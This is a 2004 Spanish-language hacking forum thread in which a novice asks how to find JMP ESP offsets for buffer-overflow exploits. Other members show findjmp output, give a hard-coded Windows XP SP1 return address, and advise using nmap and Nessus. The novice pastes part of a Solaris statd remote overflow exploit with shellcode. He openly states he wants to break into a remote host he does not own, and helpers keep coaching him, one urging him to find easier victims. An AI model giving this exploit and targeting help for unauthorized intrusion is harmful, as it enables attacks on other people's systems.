elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Pldoras formativas en seguridad de la informacin


+  Foro de elhacker.net
|-+  Seguridad Informtica
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  LOS_FAMOSOS_OFFSETS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: LOS_FAMOSOS_OFFSETS  (Leído 3,513 veces)
godfather

Desconectado Desconectado

Mensajes: 91



Ver Perfil
LOS_FAMOSOS_OFFSETS
« en: 10 Agosto 2004, 14:49 »

hola salu2 a todo el foro...pues eso otra ves kon esto y les voy a pedir que no me manden con links a otros pagina pes mi duda no es tan profunda ni mi pregunta sera tonta mi problema esta en que en un comentario de como conseguir los offsets alguien planteo esto
Citar
Un offset es un desplazamiento respecto a una direccion de memoria. Por ejemplo, kernel32.dll
se carga en memoria a partir de la direccion (no me la se, esta es ficticia) 0x76890000.
Es decir, en la direccion 0x76890000 EMPIEZA la DLL ( a esto se le llama DIRECCION BASE,
curioso xDD). Bien, ahora tu lo que kieres es usar la funcion LoadLibraryA
(que esta contenida en esa DLL). Bueno, entonces te informas y te dicen que esa FUNCION
tiene como OFFSET 0x7C. Que kiere decir esto? Pues que la funcion la encuentras aki:

Dir. Base + Offset = Direccion de la Funcion
0x76890000 + 0x7C = 0x7689007C

Asi que cuando kieras llamar a LoadLibraryA en ASM, tienes que mandar sus argumentos a la
pila (push eax/ebx/ecx o datos a mano..., teniendo en esos registros los argumentos, mandandolos
en ORDEN INVERSO). Seria asi:

push eax; // Argumento 2
push ebx; // Argumento 1
call 0x7689007C; // Llamada a LoadLibraryA

Esto ejecutara:

LoadLibraryA (argumento1,argumento2);

Creo que se entiende no?

Que esten en C y que funcionen en MSDOS no tiene nada que ver, informate sobre el lenguaje C

Los chicos de Microsoft, son la ostia de caxondos en esto de los offsets.
Te explico. Segun version del sistema operativo, service packs instalados,
parches, etc etc... las DIRECCIONES BASE de las DLL y los correspondientes
OFFSETS de las funciones en ellas contenidas SON DISTINTOS.
Citar
pero no explica como sacarlo osea se que esta en la libreria e incluso eh compilado este
Código:
#include <stdio.h>
#include <windows.h>

int main (){

LoadLibrary ("msafd.dll");
return 0;
}

Es un simple programa que carga en memoria la libreria msafd.dll.

Luego, en el ollydbg, abrimos este programa, lo arrancamos,
nos vamos a Executable Modules, seleccionamos la libreria msafd.dll
y buscamos la instruccion JMP ESP...

Y ya esta, la direccion de memoria que marque, es el offset.

Salu2 que alguien posteo y que al abrirlo con un debugger tiene que tener la libreria cargada y asi a desde el debugger abriendo view executable modules deberia ver el offset de esa libreria pero no aparece la libreria solo aparecen kernel32.dll y no recuerdo que otra estoy de4sesperado desde que empece en esto hace un par de meses me eh leido manuales de se ya se lo basico eh leido algo muy basico de sockets c++ y javascripts tengo las nociones y eh leido textos de el por que de los overflows y como explotarlos pero aun asi no logro conseguir el dichoso offset y si no tengo yo el sistema operativo que la makina remota tiene como lo saco? ??? estoy desesperado voy a explotar nesesito ayuda por favor es un grito de auxilio pues me estoy frustrando espero pronta respuesta... :o por cierto no pido que me regalen las respuesta tan solo huvikeme en donde buscarla y yo estudiare y leere mas hasta encontrarlo pero estoy realmente perdido agradeceria  su ayuda
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #1 en: 10 Agosto 2004, 19:03 »

Esos post los puse yo,  cuando aun no conocia el findjmp.

Se tenia que cargar la libreria en memoria, y a mano (con el olly, claro) buscar la instruccion JMP ESP. Pillabas su offset y listo (la direccion de memoria donde estaba mapeada la instruccion JMP ESP en la libreria dll)

No tardabas ni 1minuto, pero con el findjmp.exe lo encuentras en 30s, y sin usar un debugger.

Lee el post del Findjmp (aqui mismo, en el foro Exploit, con chincheta)

Salu2
En línea

Sir_Neo

Desconectado Desconectado

Mensajes: 203


$ir ||0


Ver Perfil WWW
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #2 en: 10 Agosto 2004, 22:23 »

Código:
c:\findjmp wkssvc.dll esp

Scanning wkssvc.dll for code useable with the esp register
0x75109975 push esp - ret
0x7511A747 jmp esp     <----- (offset: 0x7511A747)
0x7511C890 push esp - ret
Finished Scanning wkssvc.dll for code useable with the esp register
Found 3 usable addresses

Mas facil no te lo puedo poner, xD.
En línea

Si juegas con el mejor, muere como los dems

http://www.lepeonline.net/
Linuxtron

Desconectado Desconectado

Mensajes: 44



Ver Perfil
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #3 en: 11 Agosto 2004, 02:15 »

si, la forma de buscarlo es correcta, pero ojo al utilizarlos:


WINXP PRO SP1 ESP   0x77E7AE59         Encontrado en kernel32.dll

"\x59\xae\xe7\x77"

salu2
En línea

godfather

Desconectado Desconectado

Mensajes: 91



Ver Perfil
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #4 en: 11 Agosto 2004, 05:24 »

 :) hola salu2 quiero agradecer a linuxtron, rojodos y sir_neo por su ayuda ya capte esto estaba desesperado se los agradezco mucho en verdad en este foro siempre hay personas dispuestas a ayudar pero tengo una duda mas si nop tengo el sist. operativo en el que quiero infiltrarme como saco el offset y otra cosa escaneo un host y encuentra graves Vulnerabilidades una que dice que y me dice que el sistema vulnerable solo puede ser red hat en varias versiones pero tiene otras vulnerabilidades que me dice que el unico sistema vulnerable es sun solaris entonces que s.o. puede tener este host miren este es uno de los exploits que encontre
Código:
/*
 statd remote overflow, solaris 2.5.1 x86
 there is a patch for statd in solaris 2.5, well, it looks like
 they check only for '/' characters and they left overflow there ..
 nah, it's solaris

 usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"
# remember that statd is standalone daemon

 Please do not distribute.
 */

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570; ------> a este me refiero

/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0


1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";
Citar
pongo una parte del codigo si no me equivoco la constante ADDRP que declara es el offset no? y otra el modo de ejecucion tiene host y cmd pero me dice que el cmd por defecto es tmp/blablah a que se refiere con esto la verdad no tengo nocion de como sea solaris alguien podria ayudarme? ??? y otra cosa la libreria netdb.h y rpc son de linux? pues en el dev-c++ al compilar me dice que no existe tal ruta o fichero ??? y otra cosa quisiera que me dijeran que debo de estudiar o leerme para saber dependiendo de cada exploit que en que libreria debo de buscar y que debo de buscar? aki fue kernel32.dll pero en este exploit que tengo obvio no lo sera que estudio para saber que es lo que busco  ??? de antemano gracias...  8)
« Última modificación: 11 Agosto 2004, 06:01 por godfather » En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #5 en: 11 Agosto 2004, 06:57 »

Si estas escaneando un Solaris, no sabes donde te metes.

Y si encima, esta montado sobre Sparc o Alpha, ya puedes correr xDDD. Si ese sistema es realmente un Solaris, es un sistema "importante" asi que andate con ojo.

No se con que habras escaneado el host (seguramente SSS o N-Stealth) pero, si me permites mi opinion, usa el NESSUS. Tiene una bonita interfaz grafica que a todo el mundo le gusta xD (version tambien para windows), se actualiza CADA DIA, y es completamente FREE.

Cuando lo scanees con Nessus (y con el Nmap, para ver que SO es realmente, con un 80-90% de probabilidades), ya nos cuentas :D

Osea, que es mas que probable que el codigo que has puesto en tu ultimo post y todo lo demas, lamentablemente, no sirva para nada.

Salu2
En línea

godfather

Desconectado Desconectado

Mensajes: 91



Ver Perfil
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #6 en: 11 Agosto 2004, 15:38 »

 :) hola rojodos si lo escanee antes con sss y n-stealth y mira tal parece por alguna cojonuda razon algo no quiere que me viole la seguridade de ese host el nmap me dice que el host esta caido o realmente esta blockeando sus intnentos de conexion en cualquier metodo de escaneo que ponga y el nessus Newt 2.0 me dice esto: CNTservice::[install, failled call to create service, Error:1073, el servicio especificado ya existe por favor dime que puedo hacer y cuando trate de instalar knoppix me fallo hice un post sobre esto y me baje los tres discos del red hat los toste dos veces cada uno con nero y burnatonce y nada n0 son booteable no los reconocio mi BIOS tengo mala pata para esto del linux optare por comprar la version ocomercial del red hat pero mientras tanto me gustaria que me recomendaras otro scanner para win2 eh probado retina y es lo mismo que sss tmb N-setalth Nmapy no se que otros en tu sincera opinion tio kres que deberia renunciar a este host y dejarlo por la paz?  ??? espero itu opinion como programador pero tmb como consejro de antemano gracias...  ;D
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.537



Ver Perfil WWW
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #7 en: 11 Agosto 2004, 19:21 »

Has probado con el Nmap a no pingear el server?

Muchos servers deniegan el trafico ICMP, y el Nmap por defecto cree que un host no esta activo si no responde a los pings.

Utiliza el Nmap con la opcion "Dont Ping" (si usas la interfaz grafica" o con la opocion por comandos "-P0". De todas formas busca uno o varios manuales y FAQ del Nmap para aprovecharlo al maximo (sobre todo sus tecnicas de escaneo)

En cuanto a lo del Nessus, no tengo ni idea del problema, pero te recomendaria que insistieras en instalarlo. Es el mejor. Lo mismo, busca FAQs sobre la instalacion y ejecucion del Nessus en una maquina Windows.


Salu2
En línea

Linuxtron

Desconectado Desconectado

Mensajes: 44



Ver Perfil
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #8 en: 11 Agosto 2004, 20:52 »

Tmb existe una version de Nessus para linux http://nessus.org/

Incluse el livecd de knoppix lo trae. Pruebalos haber....

Como dice Rojodos el Nmap va muy bien para segun que cosas. A mi es de los pokos que me gusta utilizarlo a comandos.
He leido que dices que los cd no te "bootean"??  (mira en la BIOS, boot sequence y ponlo asi 1-floppy 2-cdrom 3-hd) -aunq no entiendo demasiado bien lo que has puesto supongo que sera eso.
;)

Salu2

pd:yo te aconsejaria que lo dejaras y buscaras otro....CON LOS QUE HAY QUE ESTAN CHUPADOS!   :P
En línea

godfather

Desconectado Desconectado

Mensajes: 91



Ver Perfil
Re: LOS_FAMOSOS_OFFSETS
« Respuesta #9 en: 17 Agosto 2004, 05:52 »

 :o hola pues vuelvo a plantear la misma duda del post de arriba algo que se paso por alto quisiera que alguien me respondiera a eso sin mucho tecnisismo por favor
Citar
: quisiera que me dijeran que debo de estudiar o leerme para saber dependiendo de cada exploit en que libreria debo de buscar y que debo de buscar? aki fue kernel32.dll y buske un jmp esp pero en este exploit que tengo obvio no lo sera que estudio para saber que es lo que busco de antemano gracias... saludos  :)
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines